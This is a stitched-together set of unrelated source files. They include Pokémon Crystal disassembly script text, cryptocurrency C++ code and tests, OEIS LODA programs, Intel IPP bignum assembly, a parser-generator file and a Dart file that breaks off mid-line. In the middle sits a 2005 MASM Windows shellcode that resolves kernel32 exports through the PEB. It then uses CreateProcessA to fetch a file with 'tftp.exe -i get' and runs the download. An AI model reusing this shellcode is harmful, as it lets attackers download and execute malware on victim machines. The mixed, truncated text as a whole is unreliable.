end .NoRoom: giveitem EON_MAIL writetext GoldenrodPokecenter1FPokefanFAnotherTimeThenText waitbutton closetext end GoldenrodPokeCenter1FLinkReceptionistApproachPlayerAtLeftDoorwayTileMovement: step UP step RIGHT step RIGHT step RIGHT turn_head DOWN step_end GoldenrodPokeCenter1FLinkReceptionistWalkToStairsFromLeftDoorwayTileMovement: step LEFT step LEFT step LEFT step DOWN step_end GoldenrodPokeCenter1FLinkReceptionistApproachPlayerAtRightDoorwayTileMovement: step UP step RIGHT step RIGHT step RIGHT step RIGHT turn_head DOWN step_end GoldenrodPokeCenter1FLinkReceptionistWalkToStairsFromRightDoorwayTileMovement: step LEFT step LEFT step LEFT step LEFT step DOWN step_end ; unused UnknownText_0x61072: text "Hello! Welcome to" line "#COM CENTER" cont "TRADE CORNER." para "You can trade" line "#MON with other" cont "people far away." done UnknownText_0x610ce: text "To make a trade," line "we must hold your" cont "#MON." para "Would you like to" line "trade?" done UnknownText_0x61111: text "What kind of" line "#MON do you" cont "want in return?" done UnknownText_0x6113b: text "Fine. We will try" line "to trade your" para "@" text_ram wStringBuffer3 text " for" line "@" text_ram wStringBuffer4 text "." para "We'll have to hold" line "your #MON" cont "during the trade." para "Please wait while" line "we prepare the" cont "room for it." done UnknownText_0x611c9: text "Fine. We will try" line "to trade your" para "@" text_ram wStringBuffer3 text " for a" line "#MON that you" cont "have never seen." para "We'll have to hold" line "your #MON" cont "during the trade." para "Please wait while" line "we prepare the" cont "room for it." done UnknownText_0x61271: text "Your trade #MON" line "has been received." para "It will take time" line "to find a trade" para "partner. Please" line "come back later." done UnknownText_0x612d8: text "Oh? You have only" line "one #MON in" cont "your party. " para "Please come back" line "once you've in-" cont "creased the size" cont "of your party." done UnknownText_0x61344: text "We hope to see you" line "again." done UnknownText_0x6135f: text "Communication" line "error…" done UnknownText_0x61375: text "If we accept that" line "#MON, what will" cont "you battle with?" done UnknownText_0x613a9: text "Sorry. We can't" line "accept an EGG." done UnknownText_0x613c8: text "Sorry, but your" line "#MON appears to" para "be abnormal. We" line "can't accept it." done UnknownText_0x61409: text "Oh? Aren't we" line "already holding a" cont "#MON of yours?" done UnknownText_0x61438: text "We'll check the" line "rooms." para "Please wait." done UnknownText_0x6145c: text "Thank you for your" line "patience." para "A trade partner" line "has been found." done UnknownText_0x6149a: text "It's your new" line "partner." para "Please take care" line "of it with love." para "We hope to see you" line "again." done UnknownText_0x614ed: text "Uh-oh. Your party" line "is already full." para "Please come back" line "when you have room" cont "in your party." done UnknownText_0x61544: text "It's unfortunate," line "but no one has" para "come forward as a" line "trade partner." para "Would you like" line "your #MON back?" done UnknownText_0x615a5: text "We have returned" line "your #MON." done UnknownText_0x615c2: text "It's unfortunate," line "but no one has" para "come forward as a" line "trade partner." para "We've held your" line "#MON for a long" para "time. As a result," line "it is very lonely." para "Sorry, but we must" line "return it to you." done UnknownText_0x6166e: text "We hope to see you" line "again." done UnknownText_0x61689: text "Fine. We will" line "continue to hold" cont "your #MON." done UnknownText_0x616b4: text "Oh? You left your" line "#MON with us" cont "only recently." para "Please come back" line "later." done UnknownText_0x616fb: text "We'll SAVE before" line "connecting to the" cont "CENTER." done UnknownText_0x61727: text "Which #MON do" line "you want to trade?" done UnknownText_0x61749: text "Sorry, but we must" line "cancel the trade." done UnknownText_0x6176f: text "Oh!" para "I see you have an" line "EGG TICKET!" para "It's a coupon that" line "special people can" para "redeem for a" line "special #MON!" done UnknownText_0x617d2: text "Let me give you a" line "quick briefing." para "Trades held at the" line "TRADE CORNER are" para "between two" line "trainers who don't" para "know each other's" line "identity." para "As a result, it" line "may take time." para "However, an ODD" line "EGG is available" cont "just for you." para "It will be sent to" line "you right away." para "Please choose one" line "of the rooms in" para "the CENTER." line "An ODD EGG will be" para "sent from the" line "chosen room." done UnknownText_0x6191f: text "Please wait a" line "moment." done UnknownText_0x61936: text "Thank you for" line "waiting." para "We received your" line "ODD EGG." para "Here it is!" para "Please raise it" line "with loving care." done UnknownText_0x61996: text "I'm awfully sorry." para "The EGG TICKET" line "exchange service" cont "isn't running now." done UnknownText_0x619db: text "It's a #MON" line "NEWS MACHINE." done UnknownText_0x619f5: text "What would you" line "like to do?" done UnknownText_0x61a11: text "#MON NEWS is" line "news compiled from" para "the SAVE files of" line "#MON trainers." para "When reading the" line "NEWS, your SAVE" para "file may be sent" line "out." para "The SAVE file data" line "will contain your" para "adventure log and" line "mobile profile." para "Your phone number" line "will not be sent." para "The contents of" line "the NEWS will vary" para "depending on the" line "SAVE files sent by" para "you and the other" line "#MON trainers." para "You might even be" line "in the NEWS!" done UnknownText_0x61b7c: text "Would you like to" line "get the NEWS?" done UnknownText_0x61b9d: text "Reading the latest" line "NEWS… Please wait." done UnknownText_0x61bc4: text "There is no old" line "NEWS…" done UnknownText_0x61bdb: text "The NEWS data is" line "corrupted." para "Please download" line "the NEWS again." done UnknownText_0x61c18: text "We're making" line "preparations." para "Please come back" line "later." done UnknownText_0x61c4b: text "We will SAVE your" line "progress before" para "starting the NEWS" line "MACHINE." done UnknownText_0x61c89: text "Whoa, this #MON" line "CENTER is huge." para "They just built" line "this place. They" para "installed lots of" line "new machines too." done UnknownText_0x61cef: text "I thought up a fun" line "new thing for the" cont "TRADE CORNER!" para "I make a PIDGEY" line "hold MAIL, then" para "put it up for" line "trade for another" cont "one!" para "If everyone did" line "that, MAIL could" para "be traded with all" line "sorts of people!" para "I call it PIDGEY" line "MAIL!" para "If it becomes" line "popular, I might" para "make lots of new" line "friends!" done UnknownText_0x61dfd: text "They said you can" line "trade #MON with" para "total strangers up" line "here." para "But they're still" line "adjusting things." done UnknownText_0x61e5c: text "Some girl I don't" line "know sent me her" para "HOPPIP." line "You should trade" para "for a #MON that" line "you want." done UnknownText_0x61eb2: text "I received a" line "female HOPPIP, but" cont "its named STANLEY!" para "That's my dad's" line "name!" done UnknownText_0x61efa: text "What is the NEWS" line "MACHINE?" para "Does it get news" line "from a wider area" cont "than the radio?" done UnknownText_0x61f48: text "The #COM CENTER" line "will link with all" para "#MON CENTERS in" line "a wireless net." para "That must mean" line "I'll be able to" para "link with all" line "sorts of people." done UnknownText_0x61fc9: text "The machines here" line "can't be used yet." para "Still, it's nice" line "coming to a trendy" para "place before other" line "people." done UnknownText_0x6202c: text "My friend was in" line "the NEWS a while" para "back. I was really" line "surprised!" done UnknownText_0x6206d: text "I get anxious if I" line "don't check out" cont "the latest NEWS!" done UnknownText_0x620a1: text "If I get in the" line "NEWS and become" para "famous, I bet I'll" line "be adored." para "I wonder how I" line "could get in the" cont "NEWS?" done GoldenrodPokecenter1FGameboyKidText: text "The COLOSSEUM" line "upstairs is for" cont "link battles." para "Battle records are" line "posted on the" para "wall, so I can't" line "afford to lose." done UnknownText_0x62173: text "I came over here" line "when I got word" para "that GOLDENROD's" line "#MON CENTER has" para "new machines that" line "no one's ever seen" cont "before." para "But it looks like" line "they're still busy" para "with all their" line "preparations…" done UnknownText_0x62222: text "Just seeing all" line "these new things" para "here makes me feel" line "younger!" done GoldenrodPokecenter1FLassText: text "A higher level" line "#MON doesn't" cont "always win." para "After all, it may" line "have a type dis-" cont "advantage." para "I don't think" line "there is a single" para "#MON that is" line "the toughest." done GoldenrodPokeCenter1FLinkReceptionistPleaseAcceptGSBallText: text "<PLAYER>, isn't it?" para "Congratulations!" para "As a special deal," line "a GS BALL has been" cont "sent just for you!" para "Please accept it!" done GoldenrodPokeCenter1FLinkReceptionistPleaseDoComeAgainText: text "Please do come" line "again!" done UnknownText_0x62370: text "#COM CENTER" line "1F INFORMATION" para "Left:" line "ADMINISTRATION" para "Center:" line "TRADE CORNER" para "Right:" line "#MON NEWS" done UnknownText_0x623c7: text "It's a #MON" line "NEWS MACHINE!" para "It's not in" line "operation yet…" done GoldenrodPokecenter1FPokefanFDoYouHaveEonMailText: text "Oh my, your pack" line "looks so heavy!" para "Oh! Do you happen" line "to have something" cont "named EON MAIL?" para "My daughter is" line "after one." para "You can part with" line "one, can't you?" done GoldenrodPokecenter1FAskGiveAwayAnEonMailText: text "Give away an EON" line "MAIL?" done GoldenrodPokecenter1FPokefanFThisIsForYouText: text "Oh, that's great!" line "Thank you, honey!" para "Here, this is for" line "you in return!" done GoldenrodPokecenter1FPokefanFDaughterWillBeDelightedText: text "My daughter will" line "be delighted!" done GoldenrodPokecenter1FPokefanFTooBadText: text "Oh? You don't have" line "one? Too bad." done GoldenrodPokecenter1FPokefanFAnotherTimeThenText: text "Oh… Well, another" line "time, then." done GoldenrodPokecenter1FPlayerGaveAwayTheEonMailText: text "<PLAYER> gave away" line "the EON MAIL." done GoldenrodPokecenter1F_MapEvents: db 0, 0 ; filler db 4 ; warp events warp_event 3, 7, GOLDENROD_CITY, 15 warp_event 4, 7, GOLDENROD_CITY, 15 warp_event 0, 6, POKECOM_CENTER_ADMIN_OFFICE_MOBILE, 1 warp_event 0, 7, POKECENTER_2F, 1 db 2 ; coord events coord_event 3, 7, SCENE_DEFAULT, GoldenrodPokecenter1F_GSBallSceneLeft coord_event 4, 7, SCENE_DEFAULT, GoldenrodPokecenter1F_GSBallSceneRight db 0 ; bg events db 5 ; object events object_event 3, 1, SPRITE_NURSE, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, GoldenrodPokecenter1FNurseScript, -1 object_event 16, 8, SPRITE_LINK_RECEPTIONIST, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, ObjectEvent, -1 object_event 6, 1, SPRITE_GAMEBOY_KID, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, GoldenrodPokecenter1FGameboyKidScript, -1 object_event 1, 4, SPRITE_LASS, SPRITEMOVEDATA_WALK_LEFT_RIGHT, 1, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, GoldenrodPokecenter1FLassScript, -1 object_event 7, 5, SPRITE_POKEFAN_F, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_SCRIPT, 0, GoldenrodPokecenter1FPokefanF, -1
// Copyright (c) 2009-2018 The BIDX developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <checkpoints.h> #include <chain.h> #include <chainparams.h> #include <reverse_iterator.h> #include <validation.h> #include <stdint.h> static const int nCheckpointSpan = 500; namespace Checkpoints { CBlockIndex* GetLastCheckpoint(const CCheckpointData& data) { const MapCheckpoints& checkpoints = data.mapCheckpoints; for (const MapCheckpoints::value_type& i : reverse_iterate(checkpoints)) { const uint256& hash = i.second; CBlockIndex* pindex = LookupBlockIndex(hash); if (pindex) { return pindex; } } return nullptr; } // Automatically select a suitable sync-checkpoint const CBlockIndex* AutoSelectSyncCheckpoint() { const CBlockIndex *pindexBest = chainActive.Tip(); const CBlockIndex *pindex = pindexBest; // Search backward for a block within max span and maturity window while (pindex->pprev && pindex->nHeight + nCheckpointSpan > pindexBest->nHeight) pindex = pindex->pprev; return pindex; } // Check against synchronized checkpoint bool CheckSync(int nHeight) { if(nHeight) { auto pindexSync = AutoSelectSyncCheckpoint(); return nHeight > pindexSync->nHeight; } return true; } } // namespace Checkpoints
; A140347: Composites of the form ((x+y)/3+2)/(x-y), where x=composite and y=prime. ; 4,6,8,9,10,12,14,15,16,18,20,21,22,24,25,26,27,28,30,32,33,34,35,36,38,39,40,42,44,45,46,48,49,50,51,52,54,55,56,57,58,60,62,63,64,65,66,68,69,70,72,74,75,76,77,78,80,81,82,84,85,86,87,88,90,91,92,93,94,95,96,98,99,100,102,104 add $0,2 cal $0,65090 ; Natural numbers which are not odd primes: composites plus 1 and 2. mov $1,$0
; ; tftp - shellcode to accept download and execute a file ; ; Copyright (c) 2005 by Abs ; All Rights Reserved ; ; NOTE: Should work on Win98/ME/NT4/2K/XP, no matter which SP/language ; ; .386 .model flat, stdcall option casemap:none include \masm32\include\windows.inc ; ; kernel32 for testing only ; include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib ; assume fs:flat .code db "START->" start: ; *** Dino Dai Zovi's PEB way to find kernel base ****************************** xor eax, eax mov eax, fs:[eax+30h] ; Extract the PEB test eax, eax ; Check for Windows 9x js find_kernel32_9x ; If signed short, jump to windows 9x lookup find_kernel32_nt: mov eax, [eax + 0ch] ; Extract the PROCESS_MODULE_INFO pointer from the PEB mov esi, [eax + 1ch] ; Get the address of flink in the init module list lodsd ; Load the address of blink into eax mov eax, [eax + 08h] ; Grab the module base address from the list entry jmp find_kernel32_finished ; Fall down to the bottom find_kernel32_9x: mov eax, [eax + 34h] ; Undocumented offset (0x34) lea eax, [eax + 7ch] ; Load the address of eax+0x7c to keep us in signed byte range mov eax, [eax + 3ch] ; Undocumented offset (0xb8) find_kernel32_finished: ; *** 31 bytes ***************************************************************** ; = 31 bytes ; *** Find imports CreateProcessA & ExitThread ********************************* mov edx, eax ; edx = ImageBase of kernel32 add eax, [eax + 3ch] ; Get pointer to PE header mov ecx, edx add ecx, [eax + 78h] ; ecx now holds pointer to export table mov eax, edx add eax, [ecx + 20h] ; eax = ptr ptr names mov ebx, edx add ebx, [ecx + 1ch] ; ebx = ptr ptr functions xor edi, edi ; will point to ExitThread xor esi, esi ; will point to CreateProcessA find_createprocessa_and_exitthread_loop: mov ecx, edx add ecx, [eax] cmp dword ptr [ecx + 0ah], "Asse" ; are we at CreateProcessA? jnz not_createprocessa ; no mov esi, [ebx] ; yes, take address not_createprocessa: cmp dword ptr [ecx + 03h], "rhTt" ; are we at ExitThreadA? jne not_exitthread ; no mov edi, [ebx] ; yes, take address not_exitthread: add eax, 04h add ebx, 04h test esi, esi jz find_createprocessa_and_exitthread_loop test edi, edi jz find_createprocessa_and_exitthread_loop add esi, edx add edi, edx ; *** 68 bytes ***************************************************************** ; = 99 bytes ; *** Put ExitThread to stack ************************************************** xor eax, eax push eax ; push 0 for ExitThread push eax ; return address for ExitThread push edi ; ExitThread itself :P ; *** 5 bytes ****************************************************************** ; = 104 bytes ; *** Execute file & exit thread *********************************************** call push_commandline db "-i get ", 0 push_commandline: call push_executablepath db "tftp.exe", 0 push_executablepath: call execute_file test eax, eax jz go_exitthread push_commandline2_loop: call PushCommandLine2 db 0 PushCommandLine2: push 0 call execute_file test eax, eax jz push_commandline2_loop go_exitthread: ret ; call ExitThread ; *** 94 bytes ***************************************************************** ; = 198 bytes ; *** Executes a file ********************************************************** execute_file proc FileToExecute:DWORD, CmdLine:DWORD LOCAL prin:PROCESS_INFORMATION LOCAL stin:STARTUPINFO xor eax, eax lea edi, stin mov ecx, eax mov cl, 44h ; sizeof STARTUPINFO mov edx, ecx mov ebx, edi rep stosb assume ebx:ptr STARTUPINFO mov dword ptr [ebx].cb, edx assume ebx:nothing lea ecx, prin push ecx ; PROCESS_INFORMATION push ebx ; STARTUPINFO push eax push eax push NORMAL_PRIORITY_CLASS or DETACHED_PROCESS push TRUE push eax push eax push CmdLine push FileToExecute call esi ; CreateProcess ret execute_file endp ; *** 48 bytes ***************************************************************** ; = 246 bytes db "<-END" ; ; for testing only ; call GetTickCount ; end start
%include "asmdefs.inc" %include "ia_32e.inc" %if (__ARCH32E >= __ARCH32E_M7) segment .text align=ARCH_ALIGN_FACTOR ; ; carry, r[:size] = a[:size] + w ; uint64_t mpn_inc_vectorized(uint64_t *r, const uint64_t *a, unsigned int size, uint64_t w) ; align ARCH_ALIGN_FACTOR IPPASM mpn_inc_vectorized,PUBLIC %assign LOCAL_FRAME 0 USES_GPR rsi,rdi USES_XMM COMP_ABI 4 ; rdi = r ; rsi = a ; rdx = size ; rcx = w movsxd rdx, edx ; length mov r8, qword [rsi] ; r[0] = r[0]+increment add r8, rcx mov qword [rdi], r8 lea rsi, [rsi+rdx*sizeof(qword)] lea rdi, [rdi+rdx*sizeof(qword)] lea rcx, [rdx*sizeof(qword)] sbb rax, rax ; save cf neg rcx ; rcx = negative length (bytes) add rcx, sizeof(qword) jrcxz .exit add rax, rax ; restore cf jnc .copy align ARCH_ALIGN_FACTOR .inc_loop: mov r8, qword [rsi+rcx] adc r8, 0 mov qword [rdi+rcx], r8 lea rcx, [rcx+sizeof(qword)] jrcxz .exit_loop jnc .exit_loop jmp .inc_loop .exit_loop: sbb rax, rax ; save cf .copy: cmp rsi, rdi jz .exit jrcxz .exit .copy_loop: mov r8, qword [rsi+rcx] mov qword [rdi+rcx], r8 add rcx, sizeof(qword) jnz .copy_loop .exit: neg rax REST_XMM REST_GPR ret ENDFUNC mpn_inc_vectorized ; ; borrow, r[:size] = a[:size] - w ; uint64_t mpn_dec_vectorized(uint64_t *r, const uint64_t *a, unsigned int size, uint64_t w) ; align ARCH_ALIGN_FACTOR IPPASM mpn_dec_vectorized,PUBLIC %assign LOCAL_FRAME 0 USES_GPR rsi,rdi USES_XMM COMP_ABI 4 ; rdi = r ; rsi = a ; rdx = size ; rcx = w movsxd rdx, edx ; length mov r8, qword [rsi] ; r[0] = r[0]+increment sub r8, rcx mov qword [rdi], r8 lea rsi, [rsi+rdx*sizeof(qword)] lea rdi, [rdi+rdx*sizeof(qword)] lea rcx, [rdx*sizeof(qword)] sbb rax, rax ; save cf neg rcx ; rcx = negative length (bytes) add rcx, sizeof(qword) jrcxz .exit add rax, rax ; restore cf jnc .copy align ARCH_ALIGN_FACTOR .inc_loop: mov r8, qword [rsi+rcx] sbb r8, 0 mov qword [rdi+rcx], r8 lea rcx, [rcx+sizeof(qword)] jrcxz .exit_loop jnc .exit_loop jmp .inc_loop .exit_loop: sbb rax, rax ; save cf .copy: cmp rsi, rdi jz .exit jrcxz .exit .copy_loop: mov r8, qword [rsi+rcx] mov qword [rdi+rcx], r8 add rcx, sizeof(qword) jnz .copy_loop .exit: neg rax REST_XMM REST_GPR ret ENDFUNC mpn_dec_vectorized %endif
////////////////////////////////////////////////////////////////////////////// // NOTICE: // // ADLib, Prop and their related set of tools and documentation are in the // public domain. The author(s) of this software reserve no copyrights on // the source code and any code generated using the tools. You are encouraged // to use ADLib and Prop to develop software, in both academic and commercial // settings, and are free to incorporate any part of ADLib and Prop into // your programs. // // Although you are under no obligation to do so, we strongly recommend that // you give away all software developed using our tools. // // We also ask that credit be given to us when ADLib and/or Prop are used in // your programs, and that this notice be preserved intact in all the source // code. // // This software is still under development and we welcome any suggestions // and help from the users. // // Allen Leung // 1994 ////////////////////////////////////////////////////////////////////////////// #include <cstring> #include <AD/automata/graminfo.h> #include <AD/sort/shellsrt.h> // Shell sort Bool add_set( register int i, register Byte * a_set, register Byte * b_set) { register Byte changed; for (changed = 0; i > 0; i--, a_set++, b_set++) { changed |= ~ *a_set & *b_set; *a_set |= *b_set; } return changed; } void GrammarInfo::compute_info( const Grammar& G) { register Production P; register Symbol X; register int i; clear_info(); min_non_terminal = 32767; max_non_terminal = -32768; // // Preprocess the grammar; compute the following information: // // max_non_terminal -- maximal value of a non-terminal // min_non_terminal -- minimal value of a non-terminal // productions[i] -- an array of productions terminated by // Grammar::END_PRODUCTION // productions = new Production [ G.size() ]; for (i = 0; i < G.size(); i++) { P = productions[i] = G[i]; while ( (X = *P++) != Grammar::END_PRODUCTION) { if (G.isNonTerminal(X)) { if (X > max_non_terminal) max_non_terminal = X; if (X < min_non_terminal) min_non_terminal = X; } } } production_size = i; // // Sort by left hand side non-terminal // shellSort(Production, productions, G.size(), key[0] < productions[i][0] ); // // compute the amount of storage needed to store the tables: // number_of_non_terminals = max_non_terminal - min_non_terminal + 1; nullable = new Bool [ number_of_non_terminals ]; std::memset(nullable,0,number_of_non_terminals * sizeof(Bool)); nullable -= min_non_terminal; first.create(min_non_terminal,max_non_terminal,G.min_terminal(),G.max_terminal()); follow.create(min_non_terminal,max_non_terminal,G.min_terminal(),G.max_terminal()); // // Iterate and compute the fix points of first and follow and nullable: // // For each A -> X_1 X_2 ... X_n // // nullable(A) = /\_i nullable(X_i) // Let first(c) = { c } // first(A) <- first(X_i) if nullable(X_1 X_2 ... X_{i-1} c) // follow(X_i) <- first(X_{i+1}) // // Bool changed; do { changed = false; for (i = G.size() - 1; i >= 0; i--) { register NonTerminal A; register Symbol Y = max_non_terminal + 1; // Last symbol Bool epsilon = true; for ( P = productions[i], A = *P++; (X = *P) != END_PRODUCTION; P++) { if (G.isAction(X)) { // X is an action symbol; skip it } else if (G.isTerminal(X)) { // X is a terminal if (G.isNonTerminal(Y) && ! follow.has(Y,X)) { follow.insert(Y,X); changed = true; } if (epsilon && ! first.has(A,X)) { first.insert(A,X); changed = true; } epsilon = false; Y = X; } else { // X is a nonterminal if (G.isNonTerminal(Y) && add_set(first.set_size(),follow(X),first(Y))) changed = true; if (epsilon && add_set(first.set_size(),first(A),first(X))) changed = true; if (! nullable[X]) epsilon = false; Y = X; } } if (epsilon && ! nullable[A]) { nullable[A] = true; changed = true; } } } while (changed); } void GrammarInfo::clear_info() { if (nullable) { delete [] productions; delete [] (nullable + min_non_terminal); first.destroy(); follow.destroy(); nullable = 0; } } GrammarInfo::~GrammarInfo() { clear_info(); }
; A295684: a(n) = a(n-1) + a(n-3) + a(n-4), where a(0) = 2, a(1) = 0, a(2) = 1, a(3) = 1. ; Submitted by Christian Krause ; 2,0,1,1,3,4,6,10,17,27,43,70,114,184,297,481,779,1260,2038,3298,5337,8635,13971,22606,36578,59184,95761,154945,250707,405652,656358,1062010,1718369,2780379,4498747,7279126,11777874,19057000,30834873,49891873,80726747,130618620,211345366,341963986,553309353,895273339,1448582691,2343856030,3792438722,6136294752,9928733473,16065028225,25993761699,42058789924,68052551622,110111341546,178163893169,288275234715,466439127883,754714362598,1221153490482,1975867853080,3197021343561,5172889196641 mov $1,2 mov $5,1 lpb $0 sub $0,1 sub $3,$4 mov $4,$2 mov $2,$3 add $2,$1 mov $1,$3 add $5,$4 mov $3,$5 lpe mov $0,$1
/* * Copyright 2018- The Pixie Authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * SPDX-License-Identifier: Apache-2.0 */ #include <vector> #include "src/table_store/table/internal/arrow_array_compactor.h" #include "src/table_store/table/internal/record_or_row_batch.h" namespace px { namespace table_store { namespace internal { ArrowArrayCompactor::ArrowArrayCompactor(const schema::Relation& rel, arrow::MemoryPool* mem_pool) : rel_(rel) { for (const auto& type : rel_.col_types()) { builders_.push_back(types::MakeTypeErasedArrowBuilder(type, mem_pool)); } } Status ArrowArrayCompactor::Reserve(size_t num_rows, const std::vector<size_t>& variable_col_size_bytes) { for (const auto& [col_idx, builder] : Enumerate(builders_)) { PL_RETURN_IF_ERROR(builder->Reserve(num_rows)); if (rel_.col_types()[col_idx] == types::DataType::STRING) { PL_RETURN_IF_ERROR(builder->ReserveData(variable_col_size_bytes[col_idx])); } } return Status::OK(); } void ArrowArrayCompactor::UnsafeAppendBatchSlice(const RecordOrRowBatch& batch, size_t start_row, size_t end_row) { for (const auto& [col_idx, builder] : Enumerate(builders_)) { batch.UnsafeAppendColumnToBuilder(builder.get(), rel_.col_types()[col_idx], col_idx, start_row, end_row); } } StatusOr<std::vector<ArrowArrayPtr>> ArrowArrayCompactor::Finish() { std::vector<ArrowArrayPtr> out_columns; for (const auto& [col_idx, builder] : Enumerate(builders_)) { out_columns.emplace_back(); PL_RETURN_IF_ERROR(builder->Finish(&out_columns.back())); } return out_columns; } } // namespace internal } // namespace table_store } // namespace px
// Copyright (c) 2014-2019, AEON, The Monero Project // // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are // permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright notice, this list // of conditions and the following disclaimer in the documentation and/or other // materials provided with the distribution. // // 3. Neither the name of the copyright holder nor the names of its contributors may be // used to endorse or promote products derived from this software without specific // prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF // MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL // THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, // STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF // THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #include "gtest/gtest.h" #include "cryptonote_basic/account.h" TEST(account, encrypt_keys) { cryptonote::keypair recovery_key = cryptonote::keypair::generate(hw::get_device("default")); cryptonote::account_base account; crypto::secret_key key = account.generate(recovery_key.sec); const cryptonote::account_keys keys = account.get_keys(); ASSERT_EQ(account.get_keys().m_account_address, keys.m_account_address); ASSERT_EQ(account.get_keys().m_spend_secret_key, keys.m_spend_secret_key); ASSERT_EQ(account.get_keys().m_view_secret_key, keys.m_view_secret_key); ASSERT_EQ(account.get_keys().m_multisig_keys, keys.m_multisig_keys); crypto::chacha_key chacha_key; crypto::generate_chacha_key(&recovery_key, sizeof(recovery_key), chacha_key, 1); account.encrypt_keys(chacha_key); ASSERT_EQ(account.get_keys().m_account_address, keys.m_account_address); ASSERT_NE(account.get_keys().m_spend_secret_key, keys.m_spend_secret_key); ASSERT_NE(account.get_keys().m_view_secret_key, keys.m_view_secret_key); account.decrypt_viewkey(chacha_key); ASSERT_EQ(account.get_keys().m_account_address, keys.m_account_address); ASSERT_NE(account.get_keys().m_spend_secret_key, keys.m_spend_secret_key); ASSERT_EQ(account.get_keys().m_view_secret_key, keys.m_view_secret_key); account.encrypt_viewkey(chacha_key); ASSERT_EQ(account.get_keys().m_account_address, keys.m_account_address); ASSERT_NE(account.get_keys().m_spend_secret_key, keys.m_spend_secret_key); ASSERT_NE(account.get_keys().m_view_secret_key, keys.m_view_secret_key); account.decrypt_keys(chacha_key); ASSERT_EQ(account.get_keys().m_account_address, keys.m_account_address); ASSERT_EQ(account.get_keys().m_spend_secret_key, keys.m_spend_secret_key); ASSERT_EQ(account.get_keys().m_view_secret_key, keys.m_view_secret_key); }
; A000203: a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n). ; 1,3,4,7,6,12,8,15,13,18,12,28,14,24,24,31,18,39,20,42,32,36,24,60,31,42,40,56,30,72,32,63,48,54,48,91,38,60,56,90,42,96,44,84,78,72,48,124,57,93,72,98,54,120,72,120,80,90,60,168,62,96,104,127,84,144,68,126,96,144,72,195,74,114,124,140,96,168,80,186,121,126,84,224,108,132,120,180,90,234,112,168,128,144,120,252,98,171,156,217 add $0,1 mov $2,$0 lpb $0 mov $3,$2 dif $3,$0 cmp $3,$2 cmp $3,0 mul $3,$0 sub $0,1 add $1,$3 lpe add $1,1 mov $0,$1
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27026.1 TITLE Z:\Sources\Lunor\Repos\rougemeilland\Palmtree.Math.Core.Implements\Palmtree.Math.Core.Implements\TEST_op_Subtruct.c .686P .XMM include listing.inc .model flat INCLUDELIB MSVCRT INCLUDELIB OLDNAMES END
; A130505: a(n) = 3*a(n-1) if n is odd, otherwise 6*a(n-1). ; Submitted by Jon Maiga ; 1,3,18,54,324,972,5832,17496,104976,314928,1889568,5668704,34012224,102036672,612220032,1836660096,11019960576,33059881728,198359290368,595077871104,3570467226624,10711401679872,64268410079232,192805230237696,1156831381426176,3470494144278528,20822964865671168,62468894597013504,374813367582081024,1124440102746243072,6746640616477458432,20239921849432375296,121439531096594251776,364318593289782755328,2185911559738696531968,6557734679216089595904,39346408075296537575424,118039224225889612726272 mov $1,3 pow $1,$0 lpb $0 sub $0,2 mul $1,2 lpe mov $0,$1
// Copyright (c) 2020, the Dart project authors. Please see the AUTHORS file // for details. All rights reserved. Use of this source code is governed by a // BSD-style license that can be found in the LICENSE file. #include "bin/dartdev_isolate.h" #if !defined(DART_PRECOMPILED_RUNTIME) #include <functional> #include <memory> #include "bin/directory.h" #include "bin/error_exit.h" #include "bin/exe_utils.h" #include "bin/file.h" #include "bin/lockers.h" #include "bin/platform.h" #include "bin/process.h" #include "include/dart_embedder_api.h" #include "platform/utils.h" #define CHECK_RESULT(result) \ if (Dart_IsError(result)) { \ ProcessError(Dart_GetError(result), kErrorExitCode); \ if (send_port_id != ILLEGAL_PORT) { \ Dart_CloseNativePort(send_port_id); \ } \ Dart_ExitScope(); \ Dart_ExitIsolate(); \ return; \ } namespace dart { namespace bin { DartDevIsolate::DartDevRunner DartDevIsolate::runner_ = DartDevIsolate::DartDevRunner(); bool DartDevIsolate::should_run_dart_dev_ = false; Monitor* DartDevIsolate::DartDevRunner::monitor_ = new Monitor(); DartDevIsolate::DartDev_Result DartDevIsolate::DartDevRunner::result_ = DartDevIsolate::DartDev_Result_Unknown; char** DartDevIsolate::DartDevRunner::script_ = nullptr; char** DartDevIsolate::DartDevRunner::package_config_override_ = nullptr; std::unique_ptr<char*[], 